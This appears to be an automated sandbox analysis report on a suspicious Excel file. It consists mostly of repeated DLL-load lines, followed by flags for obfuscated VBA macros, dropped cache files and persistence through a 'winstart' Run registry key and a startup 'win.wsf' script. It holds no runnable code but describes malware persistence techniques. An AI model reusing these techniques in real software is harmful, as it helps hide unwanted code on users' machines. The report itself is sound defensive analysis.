Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: esscli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: authz.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptprov.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: esdsip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: esdsip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: esdsip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: esdsip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: printworkflowservice.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandbrokerclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: napinsp.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: wshbth.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: winrnr.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: napinsp.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: wshbth.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: winrnr.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: dhcpcsvc.dll

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: ~DF1092D9E509B511EE.TMP.0.dr

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

Document contains an embedded VBA with many string operations indicating source code obfuscation

Source: 6fW0GedR6j.xls	Stream path '_VBA_PROJECT_CUR/VBA/ThisWorkbook' : High number of string operations
Source: VBA code instrumentation	OLE, VBA macro, High number of string operations: Module ThisWorkbook			Name: ThisWorkbook

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\wscript.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\api[1].json
Source: C:\Windows\System32\wscript.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\playback[1].htm
Source: C:\Windows\System32\wscript.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\playback[1].htm
Source: C:\Windows\System32\wscript.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\playback[1].htm

Drops HTML or HTM files to system directories

Source: C:\Windows\System32\wscript.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\playback[1].htm
Source: C:\Windows\System32\wscript.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\playback[1].htm
Source: C:\Windows\System32\wscript.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\playback[1].htm

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Windows\System32\wbem\scrcons.exe

Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winstart

Jump to behavior

Source: C:\Windows\System32\wbem\scrcons.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf

Jump to behavior

Source: C:\Windows\System32\wbem\scrcons.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf

Jump to behavior

Source: C:\Windows\System32\wbem\scrcons.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winstart			Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winstart			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
